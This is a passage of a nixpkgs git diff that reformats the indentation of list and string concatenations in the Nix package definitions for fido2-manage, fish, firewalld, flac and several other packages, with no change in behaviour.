     hash = "sha256-UpxRzn24v1vigMFlofVU+YOzKrkxCu2Pk5iktqFgNO8=";
   };
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      cmake
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      copyDesktopItems
-      imagemagick
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    cmake
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    copyDesktopItems
+    imagemagick
+  ];
 
-  buildInputs =
-    [
-      libcbor
-      openssl
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      xterm
-      udev
-      pcsclite
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libuv
-      libsolv
-      libcouchbase
-    ];
+  buildInputs = [
+    libcbor
+    openssl
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    xterm
+    udev
+    pcsclite
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libuv
+    libsolv
+    libcouchbase
+  ];
 
   cmakeFlags = [ "-USE_PCSC=ON" ];
 
-  postPatch =
-    ''
-      substituteInPlace ./src/libfido2.pc.in \
-        --replace-fail "\''${prefix}/@CMAKE_INSTALL_LIBDIR@" "@CMAKE_INSTALL_FULL_LIBDIR@"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace ./CMakeLists.txt \
-        --replace-fail "/\''${CMAKE_INSTALL_LIBDIR}" "/lib"
-    '';
+  postPatch = ''
+    substituteInPlace ./src/libfido2.pc.in \
+      --replace-fail "\''${prefix}/@CMAKE_INSTALL_LIBDIR@" "@CMAKE_INSTALL_FULL_LIBDIR@"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace ./CMakeLists.txt \
+      --replace-fail "/\''${CMAKE_INSTALL_LIBDIR}" "/lib"
+  '';
 
   postInstall =
     lib.optionalString stdenv.hostPlatform.isLinux ''
@@ -106,29 +103,28 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  postFixup =
-    ''
-      substituteInPlace $out/bin/fido2-manage \
-        --replace-fail "/usr/local/bin/" "$out/bin/" \
-        --replace-fail "./fido2-manage.sh" "fido2-manage" \
-        --replace-fail "awk" "${gawk}/bin/awk"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      substituteInPlace $out/bin/fido2-manage-gui \
-        --replace-fail "./fido2-manage.sh" "$out/bin/fido2-manage" \
-        --replace-fail "x-terminal-emulator" "${xterm}/bin/xterm" \
-        --replace-fail "tk.Tk()" "tk.Tk(className='fido2-manage')" \
-        --replace-fail 'root.title("FIDO2.1 Manager - Python version 0.1 - (c) Token2")' "root.title('Fido2 Manager')"
+  postFixup = ''
+    substituteInPlace $out/bin/fido2-manage \
+      --replace-fail "/usr/local/bin/" "$out/bin/" \
+      --replace-fail "./fido2-manage.sh" "fido2-manage" \
+      --replace-fail "awk" "${gawk}/bin/awk"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    substituteInPlace $out/bin/fido2-manage-gui \
+      --replace-fail "./fido2-manage.sh" "$out/bin/fido2-manage" \
+      --replace-fail "x-terminal-emulator" "${xterm}/bin/xterm" \
+      --replace-fail "tk.Tk()" "tk.Tk(className='fido2-manage')" \
+      --replace-fail 'root.title("FIDO2.1 Manager - Python version 0.1 - (c) Token2")' "root.title('Fido2 Manager')"
 
-      substituteInPlace $out/bin/fido2-manage \
-        --replace-fail "grep" "${gnugrep}/bin/grep"
+    substituteInPlace $out/bin/fido2-manage \
+      --replace-fail "grep" "${gnugrep}/bin/grep"
 
-      sed -i '1i #!${pythonEnv.interpreter}' $out/bin/fido2-manage-gui
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace $out/bin/fido2-manage \
-        --replace-fail "ggrep" "${gnugrep}/bin/grep"
-    '';
+    sed -i '1i #!${pythonEnv.interpreter}' $out/bin/fido2-manage-gui
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace $out/bin/fido2-manage \
+      --replace-fail "ggrep" "${gnugrep}/bin/grep"
+  '';
 
   meta = {
     description = "Manage FIDO2.1 devices over USB or NFC, including Passkeys";
diff --git a/pkgs/by-name/fi/filen-cli/package.nix b/pkgs/by-name/fi/filen-cli/package.nix
index 75908d67afa1..3a89fbaa1b0d 100644
--- a/pkgs/by-name/fi/filen-cli/package.nix
+++ b/pkgs/by-name/fi/filen-cli/package.nix
@@ -29,16 +29,15 @@ buildNpmPackage (finalAttrs: {
 
   env.npm_config_build_from_source = "true";
 
-  nativeBuildInputs =
-    [
-      makeWrapper
-      pkg-config # for keytar
-    ]
-    ++ lib.optionals stdenv.buildPlatform.isDarwin [
-      # for utf-8-validate
-      # https://github.com/websockets/utf-8-validate/blob/1439ad4cdf99d421084ae3a5f81e2cf43199a690/binding.gyp#L17
-      perl
-    ];
+  nativeBuildInputs = [
+    makeWrapper
+    pkg-config # for keytar
+  ]
+  ++ lib.optionals stdenv.buildPlatform.isDarwin [
+    # for utf-8-validate
+    # https://github.com/websockets/utf-8-validate/blob/1439ad4cdf99d421084ae3a5f81e2cf43199a690/binding.gyp#L17
+    perl
+  ];
 
   # for keytar
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux [ libsecret ];
diff --git a/pkgs/by-name/fi/fim/package.nix b/pkgs/by-name/fi/fim/package.nix
index d31448da9c88..edad6f226667 100644
--- a/pkgs/by-name/fi/fim/package.nix
+++ b/pkgs/by-name/fi/fim/package.nix
@@ -62,20 +62,19 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      flex
-      readline
-      libexif
-      bash
-    ]
-    ++ lib.optional x11Support SDL
-    ++ lib.optional svgSupport inkscape
-    ++ lib.optional asciiArtSupport aalib
-    ++ lib.optional gifSupport giflib
-    ++ lib.optional tiffSupport libtiff
-    ++ lib.optional jpegSupport libjpeg
-    ++ lib.optional pngSupport libpng;
+  buildInputs = [
+    flex
+    readline
+    libexif
+    bash
+  ]
+  ++ lib.optional x11Support SDL
+  ++ lib.optional svgSupport inkscape
+  ++ lib.optional asciiArtSupport aalib
+  ++ lib.optional gifSupport giflib
+  ++ lib.optional tiffSupport libtiff
+  ++ lib.optional jpegSupport libjpeg
+  ++ lib.optional pngSupport libpng;
 
   configureFlags = [
     # mmap works on all relevant platforms
diff --git a/pkgs/by-name/fi/finalfrontier/package.nix b/pkgs/by-name/fi/finalfrontier/package.nix
index ab17053cf6e2..7d5d4eea806e 100644
--- a/pkgs/by-name/fi/finalfrontier/package.nix
+++ b/pkgs/by-name/fi/finalfrontier/package.nix
@@ -28,11 +28,12 @@ rustPlatform.buildRustPackage rec {
     pkg-config
   ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   postInstall = ''
     installManPage man/*.1
diff --git a/pkgs/by-name/fi/fio/package.nix b/pkgs/by-name/fi/fio/package.nix
index 5f6110b64722..8b895dd5775b 100644
--- a/pkgs/by-name/fi/fio/package.nix
+++ b/pkgs/by-name/fi/fio/package.nix
@@ -24,7 +24,8 @@ stdenv.mkDerivation rec {
   buildInputs = [
     python3
     zlib
-  ] ++ lib.optional (!stdenv.hostPlatform.isDarwin) libaio;
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin) libaio;
 
   # ./configure does not support autoconf-style --build=/--host=.
   # We use $CC instead.
diff --git a/pkgs/by-name/fi/fire/package.nix b/pkgs/by-name/fi/fire/package.nix
index f45d67eac22d..6625ad8a9314 100644
--- a/pkgs/by-name/fi/fire/package.nix
+++ b/pkgs/by-name/fi/fire/package.nix
@@ -27,23 +27,22 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-d8w+b4OpU2/kQdcAimR4ihDEgVTM1V7J0hj7saDrQpY=";
   };
 
-  postPatch =
-    ''
-      # Disable automatic copying of built plugins during buildPhase, it defaults
-      # into user home and we want to have building & installing separated.
-      substituteInPlace CMakeLists.txt \
-        --replace-fail 'COPY_PLUGIN_AFTER_BUILD TRUE' 'COPY_PLUGIN_AFTER_BUILD FALSE'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      # Remove hardcoded LTO flags: needs extra setup on Linux
-      substituteInPlace CMakeLists.txt \
-        --replace-fail 'juce::juce_recommended_lto_flags' '# Not forcing LTO'
-    ''
-    + lib.optionalString (!finalAttrs.finalPackage.doCheck) ''
-      substituteInPlace CMakeLists.txt \
-        --replace-fail 'include(Tests)' '# Not building tests' \
-        --replace-fail 'include(Benchmarks)' '# Not building benchmark test'
-    '';
+  postPatch = ''
+    # Disable automatic copying of built plugins during buildPhase, it defaults
+    # into user home and we want to have building & installing separated.
+    substituteInPlace CMakeLists.txt \
+      --replace-fail 'COPY_PLUGIN_AFTER_BUILD TRUE' 'COPY_PLUGIN_AFTER_BUILD FALSE'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    # Remove hardcoded LTO flags: needs extra setup on Linux
+    substituteInPlace CMakeLists.txt \
+      --replace-fail 'juce::juce_recommended_lto_flags' '# Not forcing LTO'
+  ''
+  + lib.optionalString (!finalAttrs.finalPackage.doCheck) ''
+    substituteInPlace CMakeLists.txt \
+      --replace-fail 'include(Tests)' '# Not building tests' \
+      --replace-fail 'include(Benchmarks)' '# Not building benchmark test'
+  '';
 
   strictDeps = true;
 
@@ -69,34 +68,33 @@ stdenv.mkDerivation (finalAttrs: {
 
   installPhase =
     let
-      pathMappings =
-        [
-          {
-            from = "LV2";
-            to = "${placeholder "out"}/${
-              if stdenv.hostPlatform.isDarwin then "Library/Audio/Plug-Ins/LV2" else "lib/lv2"
-            }";
-          }
-          {
-            from = "VST3";
-            to = "${placeholder "out"}/${
-              if stdenv.hostPlatform.isDarwin then "Library/Audio/Plug-Ins/VST3" else "lib/vst3"
-            }";
-          }
-          # this one's a guess, don't know where ppl have agreed to put them yet
-          {
-            from = "CLAP";
-            to = "${placeholder "out"}/${
-              if stdenv.hostPlatform.isDarwin then "Library/Audio/Plug-Ins/CLAP" else "lib/clap"
-            }";
-          }
-        ]
-        ++ lib.optionals stdenv.hostPlatform.isDarwin [
-          {
-            from = "AU";
-            to = "${placeholder "out"}/Library/Audio/Plug-Ins/Components";
-          }
-        ];
+      pathMappings = [
+        {
+          from = "LV2";
+          to = "${placeholder "out"}/${
+            if stdenv.hostPlatform.isDarwin then "Library/Audio/Plug-Ins/LV2" else "lib/lv2"
+          }";
+        }
+        {
+          from = "VST3";
+          to = "${placeholder "out"}/${
+            if stdenv.hostPlatform.isDarwin then "Library/Audio/Plug-Ins/VST3" else "lib/vst3"
+          }";
+        }
+        # this one's a guess, don't know where ppl have agreed to put them yet
+        {
+          from = "CLAP";
+          to = "${placeholder "out"}/${
+            if stdenv.hostPlatform.isDarwin then "Library/Audio/Plug-Ins/CLAP" else "lib/clap"
+          }";
+        }
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isDarwin [
+        {
+          from = "AU";
+          to = "${placeholder "out"}/Library/Audio/Plug-Ins/Components";
+        }
+      ];
     in
     ''
       runHook preInstall
diff --git a/pkgs/by-name/fi/firebase-tools/package.nix b/pkgs/by-name/fi/firebase-tools/package.nix
index 288d145f9202..df47dbbb577c 100644
--- a/pkgs/by-name/fi/firebase-tools/package.nix
+++ b/pkgs/by-name/fi/firebase-tools/package.nix
@@ -25,13 +25,12 @@ buildNpmPackage rec {
     ln -s npm-shrinkwrap.json package-lock.json
   '';
 
-  nativeBuildInputs =
-    [
-      python3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      xcbuild
-    ];
+  nativeBuildInputs = [
+    python3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    xcbuild
+  ];
 
   env.PUPPETEER_SKIP_DOWNLOAD = true;
 
diff --git a/pkgs/by-name/fi/firestarter/package.nix b/pkgs/by-name/fi/firestarter/package.nix
index 748f2b44e726..8319aa613aed 100644
--- a/pkgs/by-name/fi/firestarter/package.nix
+++ b/pkgs/by-name/fi/firestarter/package.nix
@@ -69,41 +69,40 @@ stdenv.mkDerivation rec {
     fetchSubmodules = true;
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      git
-      pkg-config
-    ]
-    ++ lib.optionals withCuda [
-      addDriverRunpath
-    ];
+  nativeBuildInputs = [
+    cmake
+    git
+    pkg-config
+  ]
+  ++ lib.optionals withCuda [
+    addDriverRunpath
+  ];
 
-  buildInputs =
-    [ hwloc ]
-    ++ (
-      if withCuda then
-        [
-          glibc_multi
-          cudatoolkit
-        ]
-      else
-        [ glibc.static ]
-    );
+  buildInputs = [
+    hwloc
+  ]
+  ++ (
+    if withCuda then
+      [
+        glibc_multi
+        cudatoolkit
+      ]
+    else
+      [ glibc.static ]
+  );
 
   NIX_LDFLAGS = lib.optionals withCuda [
     "-L${cudatoolkit}/lib/stubs"
   ];
 
-  cmakeFlags =
-    [
-      "-DFIRESTARTER_BUILD_HWLOC=OFF"
-      "-DCMAKE_C_COMPILER_WORKS=1"
-      "-DCMAKE_CXX_COMPILER_WORKS=1"
-    ]
-    ++ lib.optionals withCuda [
-      "-DFIRESTARTER_BUILD_TYPE=FIRESTARTER_CUDA"
-    ];
+  cmakeFlags = [
+    "-DFIRESTARTER_BUILD_HWLOC=OFF"
+    "-DCMAKE_C_COMPILER_WORKS=1"
+    "-DCMAKE_CXX_COMPILER_WORKS=1"
+  ]
+  ++ lib.optionals withCuda [
+    "-DFIRESTARTER_BUILD_TYPE=FIRESTARTER_CUDA"
+  ];
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/fi/firewalld/package.nix b/pkgs/by-name/fi/firewalld/package.nix
index 630b85bf35bf..fbab1684c4e8 100644
--- a/pkgs/by-name/fi/firewalld/package.nix
+++ b/pkgs/by-name/fi/firewalld/package.nix
@@ -61,59 +61,56 @@ stdenv.mkDerivation rec {
     ./gettext-0.25.patch
   ];
 
-  postPatch =
-    ''
-      substituteInPlace config/xmlschema/check.sh \
-        --replace-fail /usr/bin/ ""
+  postPatch = ''
+    substituteInPlace config/xmlschema/check.sh \
+      --replace-fail /usr/bin/ ""
 
-      for file in src/{firewall-offline-cmd.in,firewall/config/__init__.py.in} \
-        config/firewall-{applet,config}.desktop.in; do
-          substituteInPlace $file \
-            --replace-fail /usr "$out"
-      done
-    ''
-    + lib.optionalString withGui ''
-      substituteInPlace src/firewall-applet.in \
-        --replace-fail "/usr/bin/systemsettings" "${kdePackages.systemsettings}/bin/systemsettings" \
-        --replace-fail "/usr/bin/nm-connection-editor" "${networkmanagerapplet}/bin/nm-connection-editor"
-    '';
+    for file in src/{firewall-offline-cmd.in,firewall/config/__init__.py.in} \
+      config/firewall-{applet,config}.desktop.in; do
+        substituteInPlace $file \
+          --replace-fail /usr "$out"
+    done
+  ''
+  + lib.optionalString withGui ''
+    substituteInPlace src/firewall-applet.in \
+      --replace-fail "/usr/bin/systemsettings" "${kdePackages.systemsettings}/bin/systemsettings" \
+      --replace-fail "/usr/bin/nm-connection-editor" "${networkmanagerapplet}/bin/nm-connection-editor"
+  '';
 
-  nativeBuildInputs =
-    [
-      autoconf
-      automake
-      docbook_xml_dtd_42
-      docbook-xsl-nons
-      glib
-      intltool
-      libxml2
-      libxslt
-      pkg-config
-      python3
-      python3.pkgs.wrapPython
-      wrapGAppsNoGuiHook
-    ]
-    ++ lib.optionals withGui [
-      qt6.wrapQtAppsHook
-    ];
+  nativeBuildInputs = [
+    autoconf
+    automake
+    docbook_xml_dtd_42
+    docbook-xsl-nons
+    glib
+    intltool
+    libxml2
+    libxslt
+    pkg-config
+    python3
+    python3.pkgs.wrapPython
+    wrapGAppsNoGuiHook
+  ]
+  ++ lib.optionals withGui [
+    qt6.wrapQtAppsHook
+  ];
 
-  buildInputs =
-    [
-      glib
-      gobject-introspection
-      ipset
-      iptables
-      kmod
-      networkmanager
-      pythonPath
-      sysctl
-    ]
-    ++ lib.optionals withGui [
-      gtk3
-      libnotify
-      librsvg
-      qt6.qtbase
-    ];
+  buildInputs = [
+    glib
+    gobject-introspection
+    ipset
+    iptables
+    kmod
+    networkmanager
+    pythonPath
+    sysctl
+  ]
+  ++ lib.optionals withGui [
+    gtk3
+    libnotify
+    librsvg
+    qt6.qtbase
+  ];
 
   preConfigure = ''
     ./autogen.sh
@@ -133,24 +130,22 @@ stdenv.mkDerivation rec {
     "--with-ipset=${lib.getExe' ipset "ipset"}"
   ];
 
-  postInstall =
-    ''
-      rm -r $out/share/firewalld/testsuite
-    ''
-    + lib.optionalString (!withGui) ''
-      rm $out/bin/firewall-{applet,config}
-    '';
+  postInstall = ''
+    rm -r $out/share/firewalld/testsuite
+  ''
+  + lib.optionalString (!withGui) ''
+    rm $out/bin/firewall-{applet,config}
+  '';
 
   dontWrapGApps = true;
   dontWrapQtApps = true;
 
-  preFixup =
-    ''
-      makeWrapperArgs+=("''${gappsWrapperArgs[@]}")
-    ''
-    + lib.optionalString withGui ''
-      makeWrapperArgs+=("''${qtWrapperArgs[@]}")
-    '';
+  preFixup = ''
+    makeWrapperArgs+=("''${gappsWrapperArgs[@]}")
+  ''
+  + lib.optionalString withGui ''
+    makeWrapperArgs+=("''${qtWrapperArgs[@]}")
+  '';
 
   postFixup = ''
     chmod +x $out/share/firewalld/*.py
diff --git a/pkgs/by-name/fi/fish/package.nix b/pkgs/by-name/fi/fish/package.nix
index 1b4c0b375201..949abee00fa2 100644
--- a/pkgs/by-name/fi/fish/package.nix
+++ b/pkgs/by-name/fi/fish/package.nix
@@ -191,55 +191,54 @@ stdenv.mkDerivation (finalAttrs: {
   ];
 
   # Fix FHS paths in tests
-  postPatch =
-    ''
-      substituteInPlace src/builtins/tests/test_tests.rs \
-        --replace-fail '"/bin/ls"' '"${lib.getExe' coreutils "ls"}"'
+  postPatch = ''
+    substituteInPlace src/builtins/tests/test_tests.rs \
+      --replace-fail '"/bin/ls"' '"${lib.getExe' coreutils "ls"}"'
 
-      substituteInPlace src/tests/highlight.rs \
-        --replace-fail '"/bin/echo"' '"${lib.getExe' coreutils "echo"}"' \
-        --replace-fail '"/bin/c"' '"${lib.getExe' coreutils "c"}"' \
-        --replace-fail '"/bin/ca"' '"${lib.getExe' coreutils "ca"}"' \
-        --replace-fail '/usr' '/'
+    substituteInPlace src/tests/highlight.rs \
+      --replace-fail '"/bin/echo"' '"${lib.getExe' coreutils "echo"}"' \
+      --replace-fail '"/bin/c"' '"${lib.getExe' coreutils "c"}"' \
+      --replace-fail '"/bin/ca"' '"${lib.getExe' coreutils "ca"}"' \
+      --replace-fail '/usr' '/'
 
-      substituteInPlace tests/checks/cd.fish \
-        --replace-fail '/bin/pwd' '${lib.getExe' coreutils "pwd"}'
+    substituteInPlace tests/checks/cd.fish \
+      --replace-fail '/bin/pwd' '${lib.getExe' coreutils "pwd"}'
 
-      substituteInPlace tests/checks/redirect.fish \
-        --replace-fail '/bin/echo' '${lib.getExe' coreutils "echo"}'
+    substituteInPlace tests/checks/redirect.fish \
+      --replace-fail '/bin/echo' '${lib.getExe' coreutils "echo"}'
 
-      substituteInPlace tests/checks/vars_as_commands.fish \
-        --replace-fail '/usr/bin' '${coreutils}/bin'
+    substituteInPlace tests/checks/vars_as_commands.fish \
+      --replace-fail '/usr/bin' '${coreutils}/bin'
 
-      substituteInPlace tests/checks/jobs.fish \
-        --replace-fail 'ps -o' '${lib.getExe' procps "ps"} -o' \
-        --replace-fail '/bin/echo' '${lib.getExe' coreutils "echo"}'
+    substituteInPlace tests/checks/jobs.fish \
+      --replace-fail 'ps -o' '${lib.getExe' procps "ps"} -o' \
+      --replace-fail '/bin/echo' '${lib.getExe' coreutils "echo"}'
 
-      substituteInPlace tests/checks/job-control-noninteractive.fish \
-        --replace-fail '/bin/echo' '${lib.getExe' coreutils "echo"}'
+    substituteInPlace tests/checks/job-control-noninteractive.fish \
+      --replace-fail '/bin/echo' '${lib.getExe' coreutils "echo"}'
 
-      substituteInPlace tests/checks/complete.fish \
-        --replace-fail '/bin/ls' '${lib.getExe' coreutils "ls"}'
+    substituteInPlace tests/checks/complete.fish \
+      --replace-fail '/bin/ls' '${lib.getExe' coreutils "ls"}'
 
-      # Several pexpect tests are flaky
-      # See https://github.com/fish-shell/fish-shell/issues/8789
-      rm tests/pexpects/exit_handlers.py
-      rm tests/pexpects/private_mode.py
-      rm tests/pexpects/history.py
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # Tests use pkill/pgrep which are currently not built on Darwin
-      # See https://github.com/NixOS/nixpkgs/pull/103180
-      # and https://github.com/NixOS/nixpkgs/issues/141157
-      rm tests/pexpects/exit.py
-      rm tests/pexpects/job_summary.py
-      rm tests/pexpects/signals.py
-      rm tests/pexpects/fg.py
-    ''
-    + lib.optionalString (stdenv.hostPlatform.isAarch64 || stdenv.hostPlatform.isDarwin) ''
-      # This test seems to consistently fail on aarch64 and darwin
-      rm tests/checks/cd.fish
-    '';
+    # Several pexpect tests are flaky
+    # See https://github.com/fish-shell/fish-shell/issues/8789
+    rm tests/pexpects/exit_handlers.py
+    rm tests/pexpects/private_mode.py
+    rm tests/pexpects/history.py
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # Tests use pkill/pgrep which are currently not built on Darwin
+    # See https://github.com/NixOS/nixpkgs/pull/103180
+    # and https://github.com/NixOS/nixpkgs/issues/141157
+    rm tests/pexpects/exit.py
+    rm tests/pexpects/job_summary.py
+    rm tests/pexpects/signals.py
+    rm tests/pexpects/fg.py
+  ''
+  + lib.optionalString (stdenv.hostPlatform.isAarch64 || stdenv.hostPlatform.isDarwin) ''
+    # This test seems to consistently fail on aarch64 and darwin
+    rm tests/checks/cd.fish
+  '';
 
   outputs = [
     "out"
@@ -265,14 +264,13 @@ stdenv.mkDerivation (finalAttrs: {
     pcre2
   ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeFeature "CMAKE_INSTALL_DOCDIR" "${placeholder "doc"}/share/doc/fish")
-      (lib.cmakeFeature "Rust_CARGO_TARGET" stdenv.hostPlatform.rust.rustcTarget)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      (lib.cmakeBool "MAC_CODESIGN_ID" false)
-    ];
+  cmakeFlags = [
+    (lib.cmakeFeature "CMAKE_INSTALL_DOCDIR" "${placeholder "doc"}/share/doc/fish")
+    (lib.cmakeFeature "Rust_CARGO_TARGET" stdenv.hostPlatform.rust.rustcTarget)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    (lib.cmakeBool "MAC_CODESIGN_ID" false)
+  ];
 
   # Fish’s test suite needs to be able to look up process information and send signals.
   sandboxProfile = lib.optionalString stdenv.hostPlatform.isDarwin ''
@@ -284,14 +282,13 @@ stdenv.mkDerivation (finalAttrs: {
   # Fish needs coreutils as a runtime dependency, and it gets put into
   # CMAKE_PREFIX_PATH, which cmake uses to look up build time programs, so it
   # was clobbering the PATH. It probably needs to be fixed at a lower level.
-  preConfigure =
-    ''
-      patchShebangs ./build_tools/git_version_gen.sh
-      patchShebangs ./tests/test_driver.py
-    ''
-    + lib.optionalString (stdenv.hostPlatform != stdenv.buildPlatform) ''
-      export CMAKE_PREFIX_PATH=
-    '';
+  preConfigure = ''
+    patchShebangs ./build_tools/git_version_gen.sh
+    patchShebangs ./tests/test_driver.py
+  ''
+  + lib.optionalString (stdenv.hostPlatform != stdenv.buildPlatform) ''
+    export CMAKE_PREFIX_PATH=
+  '';
 
   # Required binaries during execution
   propagatedBuildInputs = [
@@ -300,22 +297,22 @@ stdenv.mkDerivation (finalAttrs: {
     gnused
     groff
     gettext
-  ] ++ lib.optional (!stdenv.hostPlatform.isDarwin) man-db;
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin) man-db;
 
   doCheck = true;
 
-  nativeCheckInputs =
-    [
-      coreutils
-      glibcLocales
-      (python3.withPackages (ps: [ ps.pexpect ]))
-      procps
-      sphinx
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # For the getconf command, used in default-setup-path.fish
-      darwin.system_cmds
-    ];
+  nativeCheckInputs = [
+    coreutils
+    glibcLocales
+    (python3.withPackages (ps: [ ps.pexpect ]))
+    procps
+    sphinx
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # For the getconf command, used in default-setup-path.fish
+    darwin.system_cmds
+  ];
 
   # we target the top-level make target which runs all the cmake/ctest
   # tests, including test_cargo-test
@@ -340,42 +337,41 @@ stdenv.mkDerivation (finalAttrs: {
     runHook postInstallCheck
   '';
 
-  postInstall =
-    ''
-      substituteInPlace "$out/share/fish/functions/grep.fish" \
-        --replace-fail "command grep" "command ${lib.getExe gnugrep}"
+  postInstall = ''
+    substituteInPlace "$out/share/fish/functions/grep.fish" \
+      --replace-fail "command grep" "command ${lib.getExe gnugrep}"
 
-      substituteInPlace "$out/share/fish/functions/__fish_print_help.fish" \
-        --replace-fail "nroff" "${lib.getExe' groff "nroff"}"
+    substituteInPlace "$out/share/fish/functions/__fish_print_help.fish" \
+      --replace-fail "nroff" "${lib.getExe' groff "nroff"}"
 
-      substituteInPlace $out/share/fish/completions/{sudo.fish,doas.fish} \
-        --replace-fail "/usr/local/sbin /sbin /usr/sbin" ""
-    ''
-    + lib.optionalString usePython ''
-      cat > $out/share/fish/functions/__fish_anypython.fish <<EOF
-      function __fish_anypython
-          echo ${python3.interpreter}
-          return 0
-      end
-      EOF
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      for cur in $out/share/fish/functions/*.fish; do
-        substituteInPlace "$cur" \
-          --replace-quiet '/usr/bin/getent' '${lib.getExe getent}' \
-          --replace-quiet 'awk' '${lib.getExe' gawk "awk"}'
-      done
-      for cur in $out/share/fish/completions/*.fish; do
-        substituteInPlace "$cur" \
-          --replace-quiet 'awk' '${lib.getExe' gawk "awk"}'
-      done
-    ''
-    + lib.optionalString useOperatingSystemEtc ''
-      tee -a $out/etc/fish/config.fish < ${etcConfigAppendix}
-    ''
-    + ''
-      tee -a $out/share/fish/__fish_build_paths.fish < ${fishPreInitHooks}
-    '';
+    substituteInPlace $out/share/fish/completions/{sudo.fish,doas.fish} \
+      --replace-fail "/usr/local/sbin /sbin /usr/sbin" ""
+  ''
+  + lib.optionalString usePython ''
+    cat > $out/share/fish/functions/__fish_anypython.fish <<EOF
+    function __fish_anypython
+        echo ${python3.interpreter}
+        return 0
+    end
+    EOF
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    for cur in $out/share/fish/functions/*.fish; do
+      substituteInPlace "$cur" \
+        --replace-quiet '/usr/bin/getent' '${lib.getExe getent}' \
+        --replace-quiet 'awk' '${lib.getExe' gawk "awk"}'
+    done
+    for cur in $out/share/fish/completions/*.fish; do
+      substituteInPlace "$cur" \
+        --replace-quiet 'awk' '${lib.getExe' gawk "awk"}'
+    done
+  ''
+  + lib.optionalString useOperatingSystemEtc ''
+    tee -a $out/etc/fish/config.fish < ${etcConfigAppendix}
+  ''
+  + ''
+    tee -a $out/share/fish/__fish_build_paths.fish < ${fishPreInitHooks}
+  '';
 
   meta = {
     description = "Smart and user-friendly command line shell";
diff --git a/pkgs/by-name/fl/flac/package.nix b/pkgs/by-name/fl/flac/package.nix
index d42ca2a679fa..220d7212325f 100644
--- a/pkgs/by-name/fl/flac/package.nix
+++ b/pkgs/by-name/fl/flac/package.nix
@@ -30,7 +30,8 @@ stdenv.mkDerivation (finalAttrs: {
     doxygen
     graphviz
     pkg-config
-  ] ++ lib.optional enableManpages buildPackages.pandoc;
+  ]
+  ++ lib.optional enableManpages buildPackages.pandoc;
 
   buildInputs = [ libogg ];
 
@@ -51,16 +52,15 @@ stdenv.mkDerivation (finalAttrs: {
   patches = [ ./package.patch ];
   doCheck = true;
 
-  outputs =
-    [
-      "bin"
-      "dev"
-      "doc"
-      "out"
-    ]
-    ++ lib.optionals enableManpages [
-      "man"
-    ];
+  outputs = [
+    "bin"
+    "dev"
+    "doc"
+    "out"
+  ]
+  ++ lib.optionals enableManpages [
+    "man"
+  ];
 
   nativeInstallCheckInputs = [ versionCheckHook ];
   doInstallCheck = true;
diff --git a/pkgs/by-name/fl/flameshot/package.nix b/pkgs/by-name/fl/flameshot/package.nix
index f2f45f70f53f..c7de7abbbec7 100644
--- a/pkgs/by-name/fl/flameshot/package.nix
+++ b/pkgs/by-name/fl/flameshot/package.nix
@@ -38,31 +38,29 @@ stdenv.mkDerivation {
     })
   ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "DISABLE_UPDATE_CHECKER" true)
-      (lib.cmakeBool "USE_MONOCHROME_ICON" enableMonochromeIcon)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      (lib.cmakeBool "USE_WAYLAND_CLIPBOARD" true)
-      (lib.cmakeBool "USE_WAYLAND_GRIM" enableWlrSupport)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      (lib.cmakeFeature "Qt5_DIR" "${libsForQt5.qtbase.dev}/lib/cmake/Qt5")
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "DISABLE_UPDATE_CHECKER" true)
+    (lib.cmakeBool "USE_MONOCHROME_ICON" enableMonochromeIcon)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    (lib.cmakeBool "USE_WAYLAND_CLIPBOARD" true)
+    (lib.cmakeBool "USE_WAYLAND_GRIM" enableWlrSupport)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
